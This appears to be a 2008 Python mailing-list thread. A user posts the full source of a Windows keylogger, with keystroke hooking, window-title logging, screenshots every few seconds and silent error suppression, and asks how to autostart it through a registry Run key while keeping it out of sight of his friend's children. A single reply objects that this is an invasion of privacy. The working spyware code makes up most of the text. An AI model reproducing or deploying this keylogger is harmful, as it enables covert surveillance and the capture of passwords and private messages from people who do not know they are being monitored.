How to autorun a python script when a specific user logs on?

[Hyuga]

You know, I'm all for responsible parenting, and teaching kids about
about responsible computer use, and even to an extent checking out
things like browser history to make sure they're up to no good.  But
this is outright spying--a total invasion of privacy.  Might as well
put a hidden web cam in their room to make sure they aren't doing
naughty things like looking at old-media porn or masturbating.  Your
friend should talk to his kids, not automatically assume their guilt.

On Feb 5, 2:57 am, "jack trades" <tra... at none.com> wrote:
> I wrote a simple keylogger for a friend of mine that wants to keep track of
> his kid's (12 and 14 yr old boys) computer usage to make sure they aren't
> getting into the naughty parts of the web.  The logger works great (source
> attached at bottom) but I ran into some troubles getting it to autorun on
> login.
>
> The method I tried was to add a registry entry using the function below.
> def autostartProgram():
>   """Registers program with the windows registry to autostart on login"""
>   os.system(r'reg add HKLM\software\microsoft\windows\currentversion\run /v
> logger /t REG_SZ /d C:\keylogger\logger.py')
>
> This starts the program on login, no problem.  However I noticed that after
> logging out and back in on my dev (xp pro) machine that "My Network Places"
> was gone from my start menu.  I restored the registry and tried again.  It
> happened over and over.  I also had problems with Winamp/Media Player after
> doing this (grrr I hate Windoze).
>
> Also I noticed that when you switch users using this method, it shows that
> there is 1 program running.  While I'm not trying to be stealthy I don't
> want the kids poking around in his system (probably destroying it) trying to
> find the program that's running.
>
> How would I SAFELY start the program at login time for a specific user?
> I've been reading google about this for the past 5 hours and I'm stuck,
> please help.
> Note:  I thought about registering it as a system service, but wouldn't that
> make the program start for any user that logs on?
>
> Thanks for sparing some time,
> Jack Trades
>
> PS.  The source for the logger is below.  I'll post the source for the
> reader when I'm finished if anyone's interested (I'll also post it to
> uselesspython when they're back up).
> Note:  Currently this program must be stored in a folder named
> "C:\keylogger\"  (I won't post to uselesspython until I fix this, but it
> seems necessary when autostarting the program through the registry.)
>
> ## Windows Only Script!!!
> ############################################################################
> #
> ## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
> ##
> ##    Copyright (C) 2008, Jack Trades
> ##
> ##    This program is free software: you can redistribute it and/or modify
> ##    it under the terms of the GNU General Public License as published by
> ##    the Free Software Foundation, either version 3 of the License, or
> ##    (at your option) any later version.
> ##
> ##    This program is distributed in the hope that it will be useful,
> ##    but WITHOUT ANY WARRANTY; without even the implied warranty of
> ##    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> ##    GNU General Public License for more details.
> ##
> ##    You should have received a copy of the GNU General Public License
> ##    along with this program.  If not, see <http://www.gnu.org/licenses/>
> ##
> ## Recent Changes:
> ## Added quality setting to grabScreen
> ## Wrapped all functions in try/except blocks to silently pass over errors
> ##
> ## TODO:
> ## Write function to send data to secure ftp server in local network
> ## Write any errors to a text file
> ############################################################################
> #
> ## Requires: pyHook, win32all, PIL
>
> import pyHook
> import pythoncom
> import ImageGrab
> from time import time
> from threading import Timer
>
> ############################################################################
> #
> ## Start-Up
> ############################################################################
> #
>
> ## The full path is required when started automatically through windows
> registry
> ## Need to find a fix to allow relative paths (this way is UGLY!)
> folder = 'C:\\keylogger\\'
>
> filename = folder+'data\\'+str(time())  ## Each program start creates a new
> file
> skippedKeys = set( (0,) )
>
> def offloadData():
>   """Every time the program starts it should offload its log file and
>   screenshots to another computer.  """
>   pass
>
> ############################################################################
> #
> ## Keylogger
> ############################################################################
> #
> ## The logger skips over keys defined in the global variable *skippedKeys*
>
> def writeData(eventWindow, ascii):
>   """Appends each keystroke to file *filename* as defined at the top"""
>   try:
>     eventTime = time()
>     f = open(filename, 'a')
>     f.write(str( (ascii, eventTime, eventWindow) )+',')
>     f.close()
>   except:
>     pass
>
> def onKeyboardEvent(event):
>   """This function is called by pyHook each time a key is pressed.
>   It writes the (key,time,window) to the logfile as defined in writeData()
>   It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
>   try:
>     eventWindow, ascii = event.WindowName, event.Ascii
>     if ascii not in skippedKeys:          ## skippedKeys is a global
> variable
>       #ascii = chr(ascii)                 ## uncomment to store chr(ascii)
> values
>       #print ascii                        ## uncomment to print keys to
> screen
>       writeData(eventWindow, ascii)
>     return True                           ## passes the event to other
> handlers
>   except:
>     return True                           ## ensures that we pass the key
> along
>                                           ## even if an error occurs
>
> ############################################################################
> #
> ## Screenshots
> ############################################################################
> #
>
> def grabScreen(imageQuality=20):
>   """Take a screenshot and save it to the folder screens// with filename
> time()"""
>   try:
>     img = ImageGrab.grab()
>     img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
>   except:
>     pass
>
> def startScreenshots(delay=3):
>   """Takes a screenshot every X seconds using grabScreen()"""
>   try:
>     grabScreen()
>     t = Timer(delay, startScreenshots, [delay])
>     t.start()
>   except:
>     pass
>
> ############################################################################
> #
> ## Main
> ############################################################################
> #
>
> def run(delay=3):
>   try:
>     ## Start saving screenshots every X seconds
>     startScreenshots(delay)
>     ## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
>     hm = pyHook.HookManager()
>     hm.KeyDown = onKeyboardEvent
>     hm.HookKeyboard()
>     ## Pump keys into HookManager | Does this need a try/except ?
>     try:
>       pythoncom.PumpMessages()
>     except:
>       pass
>   except:
>     pass
>
> if __name__ == '__main__':
>   try:
>     run(3)        ## Run keylogger with 3 second delay between screenshots
>   except:
>     pass